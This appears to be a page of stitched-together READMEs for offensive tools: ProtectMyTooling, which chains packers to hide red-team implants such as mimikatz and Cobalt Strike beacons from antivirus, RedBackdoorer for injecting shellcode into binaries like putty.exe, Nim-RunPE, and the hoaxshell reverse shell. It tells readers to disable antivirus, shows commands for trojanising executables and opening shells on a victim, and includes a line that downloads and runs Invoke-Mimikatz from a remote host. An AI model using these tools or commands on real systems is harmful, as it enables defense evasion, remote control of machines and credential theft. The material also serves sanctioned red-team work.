That's right - we can launch ProtectMyTooling with several packers at once:

C:\> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe

The above example will firstly pass mimikatz.exe to the Hyperion for obfuscation, and then the result will be provided to UPX for compression. Resulting with UPX(Hyperion(file))

Features

• Supports multiple different PE Packers, .NET Obfuscators, Shellcode Loaders/Builders
• Allows daisy-chaining packers where output from a packer is passed to the consecutive one: callobf,hyperion,upx will produce artifact UPX(Hyperion(CallObf(file)))
• Collects IOCs at every obfuscation step so that auditing & Blue Team requests can be satisfied
• Offers functionality to inject custom Watermarks to resulting PE artifacts - in DOS Stub, Checksum, as a standalone PE Section, to file's Overlay
• Comes up with a handy Cobalt Strike aggressor script bringing protected-upload and protected-execute-assembly commands
• Straightforward command line usage

Installation

This tool was designed to work on Windows, as most packers natively target that platform.

Some features may work however on Linux just fine, nonetheless that support is not fully tested, please report bugs and issues.

1. First, disable your AV and add contrib directory to exclusions. That directory contains obfuscators, protectors which will get flagged by AV and removed.
2. Then clone this repository

PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling

3. Actual installation is straightforward:

Windows

PS C:\ProtectMyTooling> .\install.ps1

Linux

bash# ./install.sh

Gimmicks

For ScareCrow packer to run on Windows 10, there needs to be WSL installed and bash.exe available (in %PATH%). Then, in WSL one needs to have golang installed in version at least 1.16:

cmd> bash
bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y

Configuration

To plug-in supported obfuscators, change default options or point ProtectMyTooling to your obfuscator executable path, you will need to adjust config\ProtectMyTooling.yaml configuration file.

There is also config\sample-full-config.yaml file containing all the available options for all the supported packers, serving as reference point.

Friendly reminder

• If your produced binary crashes or doesn't run as expected - try using different packers chain.
• Packers don't guarantee stability of produced binaries, therefore ProtectMyTooling cannot as well.
• While chaining, carefully match output->input payload formats according to what consecutive packer expects.

Usage

Before ProtectMyTooling's first use, it is essential to adjust program's YAML configuration file ProtectMyTooling.yaml. The order of parameters processal is following:

• Firstly default parameters are used
• Then they're overwritten by values coming from YAML
• Finally, whatever is provided in command line will overwrite corresponding values

There, supported packer paths and options shall be set to enable.

Scenario 1: Simple ConfuserEx obfuscation

Usage is very simple, all it takes is to pass the name of obfuscator to choose, input and output file paths:

C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"   888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
    v0.15

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

Scenario 2: Simple ConfuserEx obfuscation followed by artifact test

One can also obfuscate the file and immediately attempt to launch it (also with supplied optional parameters) to ensure it runs fine with options -r --cmdline CMDLINE:

PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

timestamp,filename,author,context,comment,md5,sha1,sha256,imphash
2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c
2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(<file>),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43
2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf(<file>)),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf(<file>))),te   st,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d
2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d

C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
    v0.15

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege B   alci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 4  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 5  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 6  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 7  |     enigma     |  commercial |  PE EXE/DLL Protector |                 PE             |           PE           |          The Enigma Protector Developers Team          |
| 8  |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 9  |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 10 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 11 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 12 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
|    13 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 14 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 15 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 16 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 17 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 18 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE              |                    @S3cur3Th1sSh1t                     |
| 19 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 20 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 21 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 22 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 23 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 24 |      sgn       | open   -source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 25 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 26 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 27 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 28 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 29 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                           vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG

py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

cmd> py RedWatermarker.py --help

                      ;
                      ED.
                     ,E#Wi
  j.               f#iE###G.
  EW,            .E#t E#fD#W;
  E##j          i#W,  E#t t##L
  E###D.       L#D.   E#t  .E#K,
  E#jG#W;    :K#Wfff; E#t    j##f
  E#t t##f   i##WLLLLtE#t    :E#K:
  E#t  :K#E:  .E#L    E#t   t##L
  E#KDDDD###i   f#E:  E#t .D#W;                  ,;                                                      G:              ,;
  E#f,t#Wi,,,    ,WW; E#tiW#G.                 f#i j.                                          j.        E#,    :      f#i j.
  E#t  ;#W: ;     .D#;E#K##i .. GEEEEEEEL    .E#t  EW,                 ..       :           .. EW,       E#t  .GE    .E#t  EW,
  DWi   ,K.DL       ttE##D. ;W, ,;;L#K;;.   i#W,   E##j               ,W,     .Et          ;W, E##j      E#t j#K;   i#W,   E##j
  f.     :K#L     LWL E#t  j##,    t#E     L#D.    E###D.            t##,       ,W#t         j##, E###D.    E#GK#f    L#D.    E###D.
  EW:   ;W##L   .E#f  L:  G###,    t#E   :K#Wfff;  E#jG#W;          L###,   j###t        G###, E#jG#W;   E##D.   :K#Wfff;  E#jG#W;
  E#t  t#KE#L  ,W#;     :E####,    t#E   i##WLLLLt E#t t##f       .E#j##,  G#fE#t      :E####, E#t t##f  E##Wi   i##WLLLLt E#t t##f
  E#t f#D.L#L t#K:     ;W#DG##,    t#E    .E#L     E#t  :K#E:    ;WW; ##,:K#i E#t     ;W#DG##, E#t  :K#E:E#jL#D:  .E#L     E#t  :K#E:
  E#jG#f  L#LL#G      j###DW##,    t#E      f#E:   E#KDDDD###i  j#E.  ##f#W,  E#t    j###DW##, E#KDDDD###E#t ,K#j   f#E:   E#KDDDD###i
  E###;   L###j      G##i,,G##,    t#E       ,WW;  E#f,t#Wi,,,.D#L    ###K:   E#t   G##i,,G##, E#f,t#Wi,,E#t   jD    ,WW;  E#f,t#Wi,,,
  E#K:    L#W;     :K#K:   L##,    t#E        .D#; E#t  ;#W: :K#t     ##D.    E#t :K#K:   L##, E#t  ;#W: j#t          .D#; E#t  ;#W:
  EG      LE.     ;##D.    L##,     fE          tt DWi   ,KK:...      #G      .. ;##D.    L##, DWi   ,KK: ,;               tt DWi   ,KK:
  ;       ;@      ,,,      .,,       :                                j          ,,,      .,,


    Watermark thy implants, track them in VirusTotal
    Mariusz Banach / mgeeky '22, (@mariuszbit)
    <mb@binary-offensive.com>

usage: RedWatermarker.py [options] <infile>

options:
  -h, --help            show this help message and exit

Required arguments:
  infile                Input implant file

Optional arguments:
  -C, --check           Do not actually inject watermark. Check input file if it contains specified watermarks.
  -v, --verbose         Verbose mode.
  -d, --debug           Debug mode.
  -o PATH, --outfile PATH
                        Path where to save output file with watermark injected. If not given, will modify infile.

PE Executables Watermarking:
  -t STR, --dos-stub STR
                        Insert watermark into PE DOS Stub (Th   is program cannot be run...).
  -c NUM, --checksum NUM
                        Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value.
  -e STR, --overlay STR
                        Append watermark to the file's Overlay (at the end of the file).
  -s NAME,STR, --section NAME,STR
                        Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.

PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,     "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <mb@binary-offensive.com>
    v0.15

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

cmd> py RedBackdoorer.py --help

     ██▀███ ▓█████▓█████▄
    ▓██ ▒ ██▓█   ▀▒██▀ ██▌
    ▓██ ░▄█ ▒███  ░██   █▌
    ▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
    ░██▓ ▒██░▒████░▒████▓
    ░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
      ░▒ ░ ▒░░ ░  ░░ ▒  ▒
      ░░   ░   ░   ░ &#   9617;  ░
     ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
    ▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
    ▒██▒ ▄█▒██  ▀█▄ ▒▓█    &#9   604;▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
    ▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
    ░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒   ░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
    ░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
    ▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
     ░    ░  ░   ▒  &#9   617;       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
     ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
          ░         ░              ░


    Your finest PE backdooring companion.
    Mariusz Banach / mgeeky '22, (@mariuszbit)
    <mb@binary-offensive.com>

usage: RedBackdoorer.py [options] <mode> <shellcode> <infile>

options:
  -h, --help            show this help message and exit

Required arguments:
  mode                  PE Injection mode, see help epilog for more details.
  shellcode             Input shellcode file
  infile                PE file to backdoor

Optional arguments:
  -o PATH, --outfil   e PATH
                        Path where to save output file with watermark injected. If not given, will modify infile.
  -v, --verbose         Verbose mode.

Backdooring options:
  -n NAME, --section-name NAME
                        If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw
  -i IOC, --ioc IOC     Append IOC watermark to injected shellcode to facilitate implant tracking.

Authenticode signature options:
  -r, --remove-signature
                        Remove PE Authenticode digital signature since its going to be invalidated anyway.

------------------

PE Backdooring <mode> consists of two comma-separated options.
First one denotes where to store shellcode, second how to run it:

<mode>

    save,run
      |   |
      |   +---------- 1 - change AddressOfEntryPoint
      |                  2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
      |               3 - setup TLS callback
      |
      +-------------- 1 - store shellcode in the middle of a code section
                      2 - append shellcode to the PE file in a new PE section
Example:

    py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky) 

Nim-RunPE - A Nim Implementation Of Reflective PE-Loading From Memory

A Nim implementation of reflective PE-Loading from memory. The base for this code was taken from RunPE-In-Memory - which I ported to Nim.

You'll need to install the following dependencies:

nimble install ptr_math winim

I did test this with Nim Version 1.6.2 only, so use that version for testing or I cannot guarantee no errors when using another version.

Compile

If you want to pass arguments on runtime or don't want to pass arguments at all compile via:

nim c NimRunPE.nim

If you want to hardcode custom arguments modify const exeArgs to your needs and compile with:

nim c -d:args NimRunPE.nim - this was contributed by @glynx, thanks!

More Information

The technique itself it pretty old, but I didn't find a Nim implementation yet. So this has changed now. :)

If you plan to load e.g. Mimikatz with this technique - make sure to compile a version from source on your own, as the release binaries don't accept arguments after being loaded reflectively by this loader. Why? I really don't know it's strange but a fact. If you compile on your own it will still work:

My private Packer is also weaponized with this technique - but all Win32 functions are replaced with Syscalls there. That makes the technique stealthier.

Hoaxshell - An Unconventional Windows Reverse Shell, Currently Undetected By Microsoft Defender And Various Other AV Solutions, Solely Based On Http(S) Traffic

hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots).

Video Presentation

Screenshots

Find more screenshots here.

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage

Basic shell session over http

sudo python3 hoaxshell.py -s <your_ip>

When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the -r argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it.

Encrypted shell session (https):

# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.

Grab session mode

In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.

sudo python3 hoaxshell.py -s <your_ip> -g

Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).

Limitations

The shell is going to hang if you execute a command that initiates an interactive session. Example:

# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.

Future

I am currently working on some auxiliary-type prompt commands to automate parts of host enumeration.